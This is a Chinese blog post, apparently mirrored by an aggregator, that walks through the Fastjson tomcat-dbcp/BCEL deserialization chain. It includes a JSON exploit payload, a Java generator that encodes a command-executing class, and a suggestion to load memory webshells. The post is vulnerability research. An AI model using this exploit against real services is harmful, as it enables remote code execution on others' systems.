1

Fastjson tomcat-dhcp链 - akka1

 2 years ago
source link: https://www.cnblogs.com/akka1/p/16170251.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Fastjson tomcat-dbcp链

这条链可直接回显,可以解决fastjson在内网的情况,因为很多实战的时候,fastjson的应用部署在内网,只映射一个端口出来,导致前面学习的jdbcRowImpl链的jndi利用不了,而TemplatesImpl链又因为有利用条件,用parseObject()方法时,需要加入Feature.SupportNonPublicField参数,就有了大佬们使用tomcat-dhcp链,而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。

1、前置知识

1.1、BCEL

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。

就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bce

我们来看看我们今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader,在jdk的rt.jar包里面

image-20220420144312601

我们来看loadClass这个方法,获取class_name,判断开头是不是$$BCEL$$,是就调用createClass(class_name),然后通过

classname获取字节码,然后调用defineClass实例化我们的字节码。我们先看看createClass

protected Class loadClass(String class_name, boolean resolve)
  throws ClassNotFoundException
{
  Class cl = null;
  ......
    if(cl == null) {
      JavaClass clazz = null;

      /* Third try: Special request?
       */
      if(class_name.indexOf("$$BCEL$$") >= 0)
        clazz = createClass(class_name);
      else { // Fourth try: Load classes via repository
        if ((clazz = repository.loadClass(class_name)) != null) {
          clazz = modifyClass(clazz);
        }
        else
          throw new ClassNotFoundException(class_name);
      }

      if(clazz != null) {
        byte[] bytes  = clazz.getBytes();
        cl = defineClass(class_name, bytes, 0, bytes.length);
      } else // Fourth try: Use default class loader
        cl = Class.forName(class_name);
    }

    if(resolve)
      resolveClass(cl);
  }

  classes.put(class_name, cl);

  return cl;
}

createClass这个类就是把$$BCEL$$后面的字段赋值给real_name,然后通过Utility.decode将BCEL解码成字节码,然后解析字节码编程类,返回这个类,所以createClass就是获取class_name的$$BCEL$$的字节码转换成类

  protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true);
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }

    // Adapt the class name to the passed value
    ConstantPool cp = clazz.getConstantPool();

    ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
                                                     Constants.CONSTANT_Class);
    ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
                                                     Constants.CONSTANT_Utf8);
    name.setBytes(class_name.replace('.', '/'));

    return clazz;
  }

还有有一个点就是com.sun.org.apache.bcel.internal.classfile.Utility该类存储了bcel的加解密方法

 Utility.decode(String real_name, true)
 Utility.encode(byte[] bytes,, true)

最后poc的构造

我们可以通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块

2、POC分析

2.1、依赖

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>9.0.8</version>
        </dependency>

    </dependencies>

2.2、poc

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

编写恶意代码类,并且编译成class文件,既字节码形式

package com.akkacloud;

import java.io.IOException;

public class Calc {
    public Calc() throws IOException {
        Runtime.getRuntime().exec(" open /System/Applications/Calculator.app ");
    }
}

image-20220420142233371

package com.akkacloud;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.util.Arrays;

class fastjson_dbcp {
    public static void main(String[] argv) throws Exception{
        JavaClass cls = Repository.lookupClass(Calc.class);
        //System.out.println(Arrays.toString(cls.getBytes()));
        String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
        System.out.println(code);
        String poc = "{\n" +
                "    {\n" +
                "        \"aaa\": {\n" +
                "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                "                \"driverClassLoader\": {\n" +
                "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "                },\n" +
                "                \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
                "        }\n" +
                "    }: \"bbb\"\n" +
                "}";
        System.out.println(poc);
        JSON.parse(poc);
    }
}

image-20220420143007106

最后说一句对jdk版本有要求,jdk1.8u251前可以成功

2.3、利用链

BasicDataSource.getConnection()

createDataSource() 

createConnectionFactory()

其实看到这个利用链,就知道传入我们的BasicDataSource类,会自动调用getter和setter方法,然后调用getConnection方法。我们在

getConnection打断点调试一下,可以看到我们在BasicDataSource里存入的恶意代码都已经存入,继续跟createDataSource

image-20220420154722506

跟进发现,会判断dataSource是够为空,然后调用createConnectionFactory(就是创建链接工厂方法),继续跟进

image-20220420154903067

到了这里就很清楚了,通过class.forName方法,使用我们自定义的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),获取该类

image-20220420155157538

然后实例化该类,造成命令执行。

image-20220420155621546

2.4、结束

旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>

Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

我们可以通过传入内存马的Class字节码,达到回显的目的

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://www.cnblogs.com/nice0e3/p/14949148.html#


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK